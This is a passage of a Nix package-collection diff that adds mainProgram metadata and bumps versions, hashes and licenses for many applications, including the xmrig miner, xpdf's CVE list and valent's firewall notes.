rev = "v${version}"; - sha256 = "sha256-twl72feo1PpWZbs50a962pvvD5YUHfZRW9OjY/meYVo="; + sha256 = "sha256-fspqUzF3QqFpd16J1dbcNMdqjcR3PIiRu/s+VB4KgwQ="; }; - cargoHash = "sha256-ZoVPC/PyMm+yuDYhVFykIBk0T5RNLAfmIT36Tl/dxCo="; + cargoHash = "sha256-dvzm9lbVGGM4t6KZcHSlqwo55jssxi8HyFREMaj5I0Q="; meta = with lib; { description = "A CLI tool to manage todo lists in todo.txt format"; @@ -22,5 +22,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/VladimirMarkelov/ttdl/blob/v${version}/changelog"; license = with licenses; [ mit ]; maintainers = with maintainers; [ _3JlOy-PYCCKUi ]; + mainProgram = "ttdl"; }; } diff --git a/pkgs/applications/misc/tthsum/default.nix b/pkgs/applications/misc/tthsum/default.nix index 26508c6d49bf6..2c41c1c300f7f 100644 --- a/pkgs/applications/misc/tthsum/default.nix +++ b/pkgs/applications/misc/tthsum/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = [ maintainers.ebzzry ]; platforms = platforms.unix; + mainProgram = "tthsum"; }; } diff --git a/pkgs/applications/misc/tty-share/default.nix b/pkgs/applications/misc/tty-share/default.nix index cd741b8338d62..7f2fe8c162a75 100644 --- a/pkgs/applications/misc/tty-share/default.nix +++ b/pkgs/applications/misc/tty-share/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { description = "Share terminal via browser for remote work or shared sessions"; license = licenses.mit; maintainers = with maintainers; [ andys8 ]; + mainProgram = "tty-share"; }; } diff --git a/pkgs/applications/misc/ttyper/default.nix b/pkgs/applications/misc/ttyper/default.nix index db46cae31e9e2..de72638d19ffe 100644 --- a/pkgs/applications/misc/ttyper/default.nix +++ b/pkgs/applications/misc/ttyper/default.nix @@ -19,5 +19,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/max-niederman/ttyper/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda max-niederman ]; + mainProgram = "ttyper"; }; } diff --git a/pkgs/applications/misc/tuckr/default.nix b/pkgs/applications/misc/tuckr/default.nix index d332d4457a4a8..f61f7bea912d6 100644 --- a/pkgs/applications/misc/tuckr/default.nix +++ b/pkgs/applications/misc/tuckr/default.nix @@ -21,5 +21,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/RaphGL/Tuckr/releases/tag/${version}"; license = licenses.gpl3Plus; maintainers = with maintainers; [ mimame ]; + mainProgram = "tuckr"; }; } diff --git a/pkgs/applications/misc/tut/default.nix b/pkgs/applications/misc/tut/default.nix index 8033cbfa865de..85f2768cc715f 100644 --- a/pkgs/applications/misc/tut/default.nix +++ b/pkgs/applications/misc/tut/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/RasmusLindroth/tut"; license = licenses.mit; maintainers = with maintainers; [ equirosa ]; + mainProgram = "tut"; }; } diff --git a/pkgs/applications/misc/typer/default.nix b/pkgs/applications/misc/typer/default.nix index ebd274125e6e8..8d41e2168783f 100644 --- a/pkgs/applications/misc/typer/default.nix +++ b/pkgs/applications/misc/typer/default.nix @@ -23,5 +23,6 @@ buildGoModule { homepage = "https://github.com/maaslalani/typer"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "typer"; }; } diff --git a/pkgs/applications/misc/typioca/default.nix b/pkgs/applications/misc/typioca/default.nix index acf8b3a341fee..70becdc143bda 100644 --- a/pkgs/applications/misc/typioca/default.nix +++ b/pkgs/applications/misc/typioca/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "typioca"; - version = "2.9.0"; + version = "2.10.0"; src = fetchFromGitHub { owner = "bloznelis"; repo = "typioca"; rev = version; - hash = "sha256-N7+etRqHxLX0eVvdOofXQ1fqEUTsck7UAL5mX6NUsOU="; + hash = "sha256-D6I1r+8cvUerqXR2VyBL33lapWAs5Cl5yvYOsmUBnHo="; }; - vendorHash = "sha256-FKLAbrZVtF8gj90NU7m47pG+BBKYkPjJKax5nZmpehY="; + vendorHash = "sha256-j/nyAHNwUoNkcdNJqcaUuhQk5a2VHQw/XgYIoTR9ctQ="; ldflags = [ "-s" @@ -36,5 +36,6 @@ buildGoModule rec { changelog = "https://github.com/bloznelis/typioca/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "typioca"; }; } diff --git a/pkgs/applications/misc/udict/default.nix b/pkgs/applications/misc/udict/default.nix index 0a8522669e922..62d698cc3a360 100644 --- a/pkgs/applications/misc/udict/default.nix +++ b/pkgs/applications/misc/udict/default.nix @@ -40,5 +40,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/lsmb/udict"; license = licenses.mit; maintainers = with maintainers; [ ]; + mainProgram = "udict"; }; } diff --git a/pkgs/applications/misc/ultralist/default.nix b/pkgs/applications/misc/ultralist/default.nix index 4ca7283631c0c..edcc086dbb88d 100644 --- a/pkgs/applications/misc/ultralist/default.nix +++ b/pkgs/applications/misc/ultralist/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://ultralist.io"; license = licenses.mit; maintainers = with maintainers; [ uvnikita ]; + mainProgram = "ultralist"; }; } diff --git a/pkgs/applications/misc/uni/default.nix b/pkgs/applications/misc/uni/default.nix index 72c4f84ba7334..57f88ab6eafef 100644 --- a/pkgs/applications/misc/uni/default.nix +++ b/pkgs/applications/misc/uni/default.nix @@ -28,5 +28,6 @@ buildGoModule rec { changelog = "https://github.com/arp242/uni/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ chvp ]; + mainProgram = "uni"; }; } diff --git a/pkgs/applications/misc/unipicker/default.nix b/pkgs/applications/misc/unipicker/default.nix index b488a16015ef3..e13d27ce4408f 100644 --- a/pkgs/applications/misc/unipicker/default.nix +++ b/pkgs/applications/misc/unipicker/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ ]; platforms = platforms.unix; + mainProgram = "unipicker"; }; } diff --git a/pkgs/applications/misc/usb-reset/default.nix b/pkgs/applications/misc/usb-reset/default.nix index 7b4d67eb065f1..0e924ba5ee671 100644 --- a/pkgs/applications/misc/usb-reset/default.nix +++ b/pkgs/applications/misc/usb-reset/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.evils ]; platforms = platforms.all; + mainProgram = "usb-reset"; }; } diff --git a/pkgs/applications/misc/usync/default.nix b/pkgs/applications/misc/usync/default.nix index cf51a53e7139d..1034b3844b130 100644 --- a/pkgs/applications/misc/usync/default.nix +++ b/pkgs/applications/misc/usync/default.nix @@ -27,6 +27,7 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.ebzzry ]; platforms = platforms.unix; + mainProgram = "usync"; }; dontBuild = true; diff --git a/pkgs/applications/misc/valent/default.nix b/pkgs/applications/misc/valent/default.nix index 75318acda6ccc..09ec8609712d5 100644 --- a/pkgs/applications/misc/valent/default.nix +++ b/pkgs/applications/misc/valent/default.nix @@ -21,14 +21,14 @@ stdenv.mkDerivation rec { pname = "valent"; - version = "unstable-2023-11-11"; + version = "0-unstable-2024-02-12"; src = fetchFromGitHub { owner = "andyholmes"; repo = "valent"; - rev = "51bca834b1c52a1cc49b79fe79d45dfcd9113c02"; + rev = "70ef1aa42eb2df5e9c3aa4faa014c8d539450018"; fetchSubmodules = true; - hash = "sha256-jmhio/vS+w37IW81XgV4xfb/6ralMgAlwi3zigr4t20="; + hash = "sha256-JdrkAtn21NoX+SI6PNWMdE8HLKhLc3HKFhwKydENkvg="; }; nativeBuildInputs = [ @@ -62,9 +62,26 @@ stdenv.mkDerivation rec { meta = with lib; { description = "An implementation of the KDE Connect protocol, built on GNOME platform libraries"; - homepage = "https://github.com/andyholmes/valent/"; + longDescription = '' + Note that you have to open firewall ports for other devices + to connect to it. Use either: + ```nix + programs.kdeconnect = { + enable = true; + package = pkgs.valent; + } + ``` + or open corresponding firewall ports directly: + ```nix + networking.firewall = rec { + allowedTCPPortRanges = [ { from = 1714; to = 1764; } ]; + allowedUDPPortRanges = allowedTCPPortRanges; + } + ``` + ''; + homepage = "https://valent.andyholmes.ca"; changelog = "https://github.com/andyholmes/valent/blob/${src.rev}/CHANGELOG.md"; - license = with licenses; [ gpl3Plus cc0 ]; + license = with licenses; [ gpl3Plus cc0 cc-by-sa-30 ]; maintainers = with maintainers; [ federicoschonborn aleksana ]; platforms = platforms.linux; }; diff --git a/pkgs/applications/misc/vcal/default.nix b/pkgs/applications/misc/vcal/default.nix index 9519e033473e3..6b882e2710a61 100644 --- a/pkgs/applications/misc/vcal/default.nix +++ b/pkgs/applications/misc/vcal/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { homepage = "https://waynemorrison.com/software/"; license = licenses.asl20; maintainers = with maintainers; [ peterhoeg ]; + mainProgram = "vcal"; }; } diff --git a/pkgs/applications/misc/veracrypt/default.nix b/pkgs/applications/misc/veracrypt/default.nix index 43537db9cc63e..66aca8645adca 100644 --- a/pkgs/applications/misc/veracrypt/default.nix +++ b/pkgs/applications/misc/veracrypt/default.nix @@ -12,16 +12,17 @@ , exfat , ntfs3g , btrfs-progs +, pcsclite , wrapGAppsHook }: stdenv.mkDerivation rec { pname = "veracrypt"; - version = "1.25.9"; + version = "1.26.7"; src = fetchurl { url = "https://launchpad.net/${pname}/trunk/${lib.toLower version}/+download/VeraCrypt_${version}_Source.tar.bz2"; - sha256 = "sha256-drbhgYS8IaQdKUn/Y9ch1JBUpxbO/zpL13tcNRC3lK8="; + sha256 = "sha256-920nsYJBTg1P2ba1n76iiyXbb6afK7z/ouwmmxqGX2U="; }; patches = [ @@ -39,7 +40,7 @@ stdenv.mkDerivation rec { sourceRoot = "src"; nativeBuildInputs = [ makeself pkg-config yasm wrapGAppsHook ]; - buildInputs = [ fuse lvm2 wxGTK ]; + buildInputs = [ fuse lvm2 wxGTK pcsclite ]; enableParallelBuilding = true; diff --git a/pkgs/applications/misc/vp/default.nix b/pkgs/applications/misc/vp/default.nix index 5d28029213414..07dbfef2f5f56 100644 --- a/pkgs/applications/misc/vp/default.nix +++ b/pkgs/applications/misc/vp/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation rec { platforms = platforms.unix; license = licenses.gpl3; maintainers = [ maintainers.vrthra ]; + mainProgram = "vp"; }; } diff --git a/pkgs/applications/misc/vue/default.nix b/pkgs/applications/misc/vue/default.nix index db9313b6be614..678aa886ce90f 100644 --- a/pkgs/applications/misc/vue/default.nix +++ b/pkgs/applications/misc/vue/default.nix @@ -23,6 +23,7 @@ stdenv.mkDerivation rec { maintainers = with lib.maintainers; [ raskin ]; platforms = with lib.platforms; linux; sourceProvenance = with lib.sourceTypes; [ binaryBytecode ]; - license = lib.licenses.free; # Apache License fork, actually + license = lib.licenses.ecl20; + mainProgram = "vue"; }; } diff --git a/pkgs/applications/misc/vul/default.nix b/pkgs/applications/misc/vul/default.nix index 21a9e1f12b9ea..0e9b52e82d312 100644 --- a/pkgs/applications/misc/vul/default.nix +++ b/pkgs/applications/misc/vul/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/LukeSmithxyz/vul"; license = licenses.publicDomain; maintainers = [ maintainers.j0hax maintainers.cafkafk ]; + mainProgram = "vul"; }; } diff --git a/pkgs/applications/misc/warpd/default.nix b/pkgs/applications/misc/warpd/default.nix index e2d5715447f7c..7fa28d41e37bf 100644 --- a/pkgs/applications/misc/warpd/default.nix +++ b/pkgs/applications/misc/warpd/default.nix @@ -53,5 +53,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ hhydraa ]; license = licenses.mit; platforms = platforms.linux; + mainProgram = "warpd"; }; } diff --git a/pkgs/applications/misc/wbg/default.nix b/pkgs/applications/misc/wbg/default.nix index bf7ce1c1c2291..4501f2c3ffeba 100644 --- a/pkgs/applications/misc/wbg/default.nix +++ b/pkgs/applications/misc/wbg/default.nix @@ -61,5 +61,6 @@ stdenv.mkDerivation rec { license = licenses.isc; maintainers = with maintainers; [ AndersonTorres ]; platforms = with platforms; linux; + mainProgram = "wbg"; }; } diff --git a/pkgs/applications/misc/wcalc/default.nix b/pkgs/applications/misc/wcalc/default.nix index 30ca1836b7405..62ab0aaa05a50 100644 --- a/pkgs/applications/misc/wcalc/default.nix +++ b/pkgs/applications/misc/wcalc/default.nix @@ -16,5 +16,6 @@ stdenv.mkDerivation rec { homepage = "https://w-calc.sourceforge.net"; license = licenses.gpl2; platforms = platforms.all; + mainProgram = "wcalc"; }; } diff --git a/pkgs/applications/misc/wego/default.nix b/pkgs/applications/misc/wego/default.nix index 4620386b9c271..3ff6a7279ad63 100644 --- a/pkgs/applications/misc/wego/default.nix +++ b/pkgs/applications/misc/wego/default.nix @@ -17,5 +17,6 @@ buildGoModule rec { homepage = "https://github.com/schachmat/wego"; description = "Weather app for the terminal"; license = licenses.isc; + mainProgram = "wego"; }; } diff --git a/pkgs/applications/misc/wike/default.nix b/pkgs/applications/misc/wike/default.nix index 03fe5587e5059..c1d3dc2f10f2a 100644 --- a/pkgs/applications/misc/wike/default.nix +++ b/pkgs/applications/misc/wike/default.nix @@ -70,5 +70,6 @@ python3.pkgs.buildPythonApplication rec { license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = with maintainers; [ samalws ]; + mainProgram = "wike"; }; } diff --git a/pkgs/applications/misc/with-shell/default.nix b/pkgs/applications/misc/with-shell/default.nix index 3674a23e41bd6..acfe547f1470a 100644 --- a/pkgs/applications/misc/with-shell/default.nix +++ b/pkgs/applications/misc/with-shell/default.nix @@ -72,5 +72,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.unix; + mainProgram = "with"; }; } diff --git a/pkgs/applications/misc/wlclock/default.nix b/pkgs/applications/misc/wlclock/default.nix index cbd7c32bdd370..ad14b24abd29a 100644 --- a/pkgs/applications/misc/wlclock/default.nix +++ b/pkgs/applications/misc/wlclock/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ nomisiv ]; platforms = with platforms; linux; + mainProgram = "wlclock"; }; } diff --git a/pkgs/applications/misc/wmenu/default.nix b/pkgs/applications/misc/wmenu/default.nix index 9d068bb61e68a..b0b64d86e45e6 100644 --- a/pkgs/applications/misc/wmenu/default.nix +++ b/pkgs/applications/misc/wmenu/default.nix @@ -35,6 +35,7 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ eken ]; + mainProgram = "wmenu"; }; } diff --git a/pkgs/applications/misc/wmname/default.nix b/pkgs/applications/misc/wmname/default.nix index 45e7cf3d8f1ba..b64e714e081b0 100644 --- a/pkgs/applications/misc/wmname/default.nix +++ b/pkgs/applications/misc/wmname/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { homepage = "https://tools.suckless.org/wmname"; license = lib.licenses.mit; platforms = lib.platforms.unix; + mainProgram = "wmname"; }; } diff --git a/pkgs/applications/misc/wofi-emoji/default.nix b/pkgs/applications/misc/wofi-emoji/default.nix index bf58b91956585..359853e6624ed 100644 --- a/pkgs/applications/misc/wofi-emoji/default.nix +++ b/pkgs/applications/misc/wofi-emoji/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.ymarkus ]; platforms = platforms.all; + mainProgram = "wofi-emoji"; }; } diff --git a/pkgs/applications/misc/wofi/default.nix b/pkgs/applications/misc/wofi/default.nix index 97aba94d1770d..30e7072644f39 100644 --- a/pkgs/applications/misc/wofi/default.nix +++ b/pkgs/applications/misc/wofi/default.nix @@ -11,13 +11,13 @@ }: stdenv.mkDerivation rec { pname = "wofi"; - version = "1.4"; + version = "1.4.1"; src = fetchFromSourcehut { repo = pname; owner = "~scoopta"; rev = "v${version}"; - sha256 = "sha256-zzBD1OPPlOjAUaJOlMf6k1tSai1w1ZvOwy2sSOWI7AM="; + sha256 = "sha256-aedoUhVfk8ljmQ23YxVmGZ00dPpRftW2dnRAgXmtV/w="; vc = "hg"; }; diff --git a/pkgs/applications/misc/writefreely/default.nix b/pkgs/applications/misc/writefreely/default.nix index 9f2d6743c3870..fe1d221bd274c 100644 --- a/pkgs/applications/misc/writefreely/default.nix +++ b/pkgs/applications/misc/writefreely/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://github.com/writefreely/writefreely"; license = licenses.agpl3Only; maintainers = with maintainers; [ soopyc ]; + mainProgram = "writefreely"; }; } diff --git a/pkgs/applications/misc/wthrr/default.nix b/pkgs/applications/misc/wthrr/default.nix index 0b6ab3f968921..5b3c6d2cd17ab 100644 --- a/pkgs/applications/misc/wthrr/default.nix +++ b/pkgs/applications/misc/wthrr/default.nix @@ -43,5 +43,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/tobealive/wthrr-the-weathercrab/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "wthrr"; }; } diff --git a/pkgs/applications/misc/wttrbar/default.nix b/pkgs/applications/misc/wttrbar/default.nix index 9bd55af10b897..c2f67e83f8a71 100644 --- a/pkgs/applications/misc/wttrbar/default.nix +++ b/pkgs/applications/misc/wttrbar/default.nix @@ -7,18 +7,18 @@ rustPlatform.buildRustPackage rec { pname = "wttrbar"; - version = "0.7.1"; + version = "0.8.2"; src = fetchFromGitHub { owner = "bjesus"; repo = "wttrbar"; rev = version; - hash = "sha256-b5GJNbXv6W4UA7nKYMgoWpfd9J+yWlWij5W0fh52vgs="; + hash = "sha256-XgBPZl5msKICIrUJZz2gj/hZjVAv0HpVKa69/KiLwnI="; }; buildInputs = lib.optionals stdenv.isDarwin (with darwin.apple_sdk_11_0.frameworks; [ Security SystemConfiguration ]); - cargoHash = "sha256-MCsblCDiCRDEHTfTcE6CyhqDclSbj0TJEf2cX6ISDFo="; + cargoHash = "sha256-JGJJ94rzHTQNR6rzFPWnFHH3t0fL1tvMeEN5NMzRtHM="; meta = { description = "A simple but detailed weather indicator for Waybar using wttr.in"; diff --git a/pkgs/applications/misc/xbattbar/default.nix b/pkgs/applications/misc/xbattbar/default.nix index 93f5d1c2279c0..0ddb06b62acee 100644 --- a/pkgs/applications/misc/xbattbar/default.nix +++ b/pkgs/applications/misc/xbattbar/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.linux; maintainers = [ maintainers.q3k ]; + mainProgram = "xbattbar"; }; } diff --git a/pkgs/applications/misc/xchm/default.nix b/pkgs/applications/misc/xchm/default.nix index e5b3100dac373..8c48388594d44 100644 --- a/pkgs/applications/misc/xchm/default.nix +++ b/pkgs/applications/misc/xchm/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ sikmir ]; platforms = platforms.linux; + mainProgram = "xchm"; }; } diff --git a/pkgs/applications/misc/xcruiser/default.nix b/pkgs/applications/misc/xcruiser/default.nix index 8144a66fb2ff3..3f1277f24a83a 100644 --- a/pkgs/applications/misc/xcruiser/default.nix +++ b/pkgs/applications/misc/xcruiser/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ ehmry ]; platforms = with platforms; linux; + mainProgram = "xcruiser"; }; } diff --git a/pkgs/applications/misc/xfontsel/default.nix b/pkgs/applications/misc/xfontsel/default.nix index ecafb9d5118cc..6bcab225c25ab 100644 --- a/pkgs/applications/misc/xfontsel/default.nix +++ b/pkgs/applications/misc/xfontsel/default.nix @@ -32,7 +32,7 @@ stdenv.mkDerivation rec { meta = with lib; { homepage = "https://www.x.org/"; description = "Allows testing the fonts available in an X server"; - license = licenses.free; + license = with licenses; [ x11 smlnj mit ]; maintainers = with maintainers; [ viric ]; platforms = platforms.unix; }; diff --git a/pkgs/applications/misc/xkbd/default.nix b/pkgs/applications/misc/xkbd/default.nix index 173ea71fe4075..df7d0f0e61cc5 100644 --- a/pkgs/applications/misc/xkbd/default.nix +++ b/pkgs/applications/misc/xkbd/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ ]; platforms = platforms.linux; + mainProgram = "xkbd"; }; } diff --git a/pkgs/applications/misc/xkblayout-state/default.nix b/pkgs/applications/misc/xkblayout-state/default.nix index 539a0f7d1a1d8..c73ff6a607833 100644 --- a/pkgs/applications/misc/xkblayout-state/default.nix +++ b/pkgs/applications/misc/xkblayout-state/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.jagajaga ]; platforms = platforms.linux; + mainProgram = "xkblayout-state"; }; } diff --git a/pkgs/applications/misc/xkbmon/default.nix b/pkgs/applications/misc/xkbmon/default.nix index 7c9a24c671734..f9394c45342cb 100644 --- a/pkgs/applications/misc/xkbmon/default.nix +++ b/pkgs/applications/misc/xkbmon/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = [ maintainers.romildo ]; + mainProgram = "xkbmon"; }; } diff --git a/pkgs/applications/misc/xlights/default.nix b/pkgs/applications/misc/xlights/default.nix index 459a7fd2d1db7..e878039d0ede2 100644 --- a/pkgs/applications/misc/xlights/default.nix +++ b/pkgs/applications/misc/xlights/default.nix @@ -15,5 +15,6 @@ appimageTools.wrapType2 rec { license = licenses.gpl3; maintainers = with maintainers; [ kashw2 ]; platforms = platforms.linux; + mainProgram = "xlights-${version}"; }; } diff --git a/pkgs/applications/misc/xmenu/default.nix b/pkgs/applications/misc/xmenu/default.nix index 9fe7ddf70b6bd..ae08952af2e85 100644 --- a/pkgs/applications/misc/xmenu/default.nix +++ b/pkgs/applications/misc/xmenu/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ neonfuz ]; platforms = platforms.all; + mainProgram = "xmenu"; }; } diff --git a/pkgs/applications/misc/xmr-stak/default.nix b/pkgs/applications/misc/xmr-stak/default.nix index 823d17ba3664e..81f35447863cf 100644 --- a/pkgs/applications/misc/xmr-stak/default.nix +++ b/pkgs/applications/misc/xmr-stak/default.nix @@ -38,6 +38,9 @@ stdenv.mkDerivation rec { ''; meta = with lib; { + # Does not build against gcc-13. No development activity upstream + # for past few years. + broken = true; description = "Unified All-in-one Monero miner"; homepage = "https://github.com/fireice-uk/xmr-stak"; license = licenses.gpl3Plus; diff --git a/pkgs/applications/misc/xmrig/default.nix b/pkgs/applications/misc/xmrig/default.nix index ca4011220d34d..b0f8562c17285 100644 --- a/pkgs/applications/misc/xmrig/default.nix +++ b/pkgs/applications/misc/xmrig/default.nix @@ -15,13 +15,13 @@ let in stdenv.mkDerivation rec { pname = "xmrig"; - version = "6.21.0"; + version = "6.21.1"; src = fetchFromGitHub { owner = "xmrig"; repo = "xmrig"; rev = "v${version}"; - hash = "sha256-7OHfFo8+MUNSI3vpOIODKQH41jmraHDJOyqfLBp/v9o="; + hash = "sha256-xMfNWqr43Gxu+ET8oP9l97+tBsL/b6DNuFU4j9wy0UA="; }; patches = [ diff --git a/pkgs/applications/misc/xmrig/moneroocean.nix b/pkgs/applications/misc/xmrig/moneroocean.nix index ba643eb77b453..0e4ac69cb813e 100644 --- a/pkgs/applications/misc/xmrig/moneroocean.nix +++ b/pkgs/applications/misc/xmrig/moneroocean.nix @@ -1,16 +1,31 @@ -{ stdenv, fetchFromGitHub, lib, xmrig }: +{ lib +, stdenv +, fetchFromGitHub +, fetchpatch +, xmrig +}: xmrig.overrideAttrs (oldAttrs: rec { pname = "xmrig-mo"; - version = "6.20.0-mo1"; + version = "6.21.0-mo2"; src = fetchFromGitHub { owner = "MoneroOcean"; repo = "xmrig"; rev = "v${version}"; - sha256 = "sha256-yHAipyZJXwH21u4YwjUqDCsXHVrI+eSnp4Iqt3AZC9A="; + hash = "sha256-OKyJcmhlY8gfDKyBf83KHhokp4qA8EDyessTwKReaD8="; }; + patches = [ + # Fix build against gcc-13 due to missing <stdexcept> include + # https://github.com/MoneroOcean/xmrig/pull/123 + (fetchpatch { + name = "gcc-13.patch"; + url = "https://github.com/MoneroOcean/xmrig/commit/7d3ea51d68049c35e9d4c75732c751eefbc5ab29.patch"; + hash = "sha256-iNrtZ8LxNJMzn8kXLhYGEFAy0ughfOZobDVRImpVPC0="; + }) + ]; + meta = with lib; { description = "A fork of the XMRig CPU miner with support for algorithm switching"; homepage = "https://github.com/MoneroOcean/xmrig"; diff --git a/pkgs/applications/misc/xpdf/default.nix b/pkgs/applications/misc/xpdf/default.nix index 0205208c86ba5..38b92eb77b9f0 100644 --- a/pkgs/applications/misc/xpdf/default.nix +++ b/pkgs/applications/misc/xpdf/default.nix @@ -12,11 +12,14 @@ assert enablePrinting -> cups != null; stdenv.mkDerivation rec { pname = "xpdf"; - version = "4.04"; + version = "4.05"; src = fetchzip { - url = "https://dl.xpdfreader.com/xpdf-${version}.tar.gz"; - hash = "sha256-ujH9KDwFRjPIKwdMg79Mab9BfA2HooY5+2PESUgnGDY="; + urls = [ + "https://dl.xpdfreader.com/xpdf-${version}.tar.gz" + "https://dl.xpdfreader.com/old/xpdf-${version}.tar.gz" + ]; + hash = "sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w="; }; # Fix "No known features for CXX compiler", see @@ -73,8 +76,6 @@ stdenv.mkDerivation rec { platforms = platforms.unix; maintainers = with maintainers; [ sikmir ]; knownVulnerabilities = [ - "CVE-2018-7453: loop in PDF objects" - "CVE-2018-16369: loop in PDF objects" "CVE-2019-9587: loop in PDF objects" "CVE-2019-9588: loop in PDF objects" "CVE-2019-16088: loop in PDF objects" @@ -82,14 +83,10 @@ stdenv.mkDerivation rec { "CVE-2022-38928" "CVE-2022-41842" "CVE-2022-41843" - "CVE-2022-41844" "CVE-2022-43071" "CVE-2022-43295" "CVE-2022-45586" "CVE-2022-45587" - "CVE-2023-2662" - "CVE-2023-2663" - "CVE-2023-2664" "CVE-2023-26930" "CVE-2023-26931" "CVE-2023-26934" diff --git a/pkgs/applications/misc/xrandr-invert-colors/default.nix b/pkgs/applications/misc/xrandr-invert-colors/default.nix index 226907afe7e86..6fd521f3cc5cf 100644 --- a/pkgs/applications/misc/xrandr-invert-colors/default.nix +++ b/pkgs/applications/misc/xrandr-invert-colors/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/zoltanp/xrandr-invert-colors"; maintainers = [lib.maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "xrandr-invert-colors"; }; } diff --git a/pkgs/applications/misc/xrq/default.nix b/pkgs/applications/misc/xrq/default.nix index 22ad3d789ac97..c37696c5f19d1 100644 --- a/pkgs/applications/misc/xrq/default.nix +++ b/pkgs/applications/misc/xrq/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation { homepage = "https://github.com/arianon/xrq"; license = lib.licenses.mit; platforms = with lib.platforms; unix; + mainProgram = "xrq"; }; } diff --git a/pkgs/applications/misc/xscope/default.nix b/pkgs/applications/misc/xscope/default.nix index ba798a861a8d1..34425345f3d40 100644 --- a/pkgs/applications/misc/xscope/default.nix +++ b/pkgs/applications/misc/xscope/default.nix @@ -18,6 +18,7 @@ stdenv.mkDerivation rec { license = with licenses; [ mit ]; maintainers = with maintainers; [ ]; platforms = with platforms; unix; + mainProgram = "xscope"; }; } diff --git a/pkgs/applications/misc/xsw/default.nix b/pkgs/applications/misc/xsw/default.nix index 5248ed2f60401..fac2c6812bd27 100644 --- a/pkgs/applications/misc/xsw/default.nix +++ b/pkgs/applications/misc/xsw/default.nix @@ -31,5 +31,6 @@ in stdenv.mkDerivation rec { platforms = platforms.unix; license = licenses.gpl3; maintainers = [ maintainers.vrthra ]; + mainProgram = "xsw"; }; } diff --git a/pkgs/applications/misc/xxkb/default.nix b/pkgs/applications/misc/xxkb/default.nix index 5e76e3a14d537..3fd9eb8a6ecbb 100644 --- a/pkgs/applications/misc/xxkb/default.nix +++ b/pkgs/applications/misc/xxkb/default.nix @@ -53,5 +53,6 @@ stdenv.mkDerivation rec { license = licenses.artistic2; maintainers = with maintainers; [ rasendubi ]; platforms = platforms.linux; + mainProgram = "xxkb"; }; } diff --git a/pkgs/applications/misc/yambar/default.nix b/pkgs/applications/misc/yambar/default.nix index 8feb3995070cd..ee679a630b60b 100644 --- a/pkgs/applications/misc/yambar/default.nix +++ b/pkgs/applications/misc/yambar/default.nix @@ -119,5 +119,6 @@ stdenv.mkDerivation (finalAttrs: { license = lib.licenses.mit; maintainers = with lib.maintainers; [ AndersonTorres ]; platforms = lib.platforms.linux; + mainProgram = "yambar"; }; }) diff --git a/pkgs/applications/misc/yubioath-flutter/default.nix b/pkgs/applications/misc/yubioath-flutter/default.nix index ce228abdbb226..4895f749ec8d0 100644 --- a/pkgs/applications/misc/yubioath-flutter/default.nix +++ b/pkgs/applications/misc/yubioath-flutter/default.nix @@ -13,24 +13,27 @@ flutter.buildFlutterApplication rec { pname = "yubioath-flutter"; - version = "6.3.1"; + version = "6.4.0"; src = fetchFromGitHub { owner = "Yubico"; repo = "yubioath-flutter"; rev = version; - hash = "sha256-XgRIX2Iv5niJw2NSBPwM0K4uF5sPj9c+Xj4oHtAQSbU="; + hash = "sha256-aXUnmKEUCi0rsVr3HVhEk6xa1z9HMsH+0AIY531hqiU="; }; passthru.helper = python3.pkgs.callPackage ./helper.nix { inherit src version meta; }; pubspecLock = lib.importJSON ./pubspec.lock.json; + gitHashes = { + window_manager = 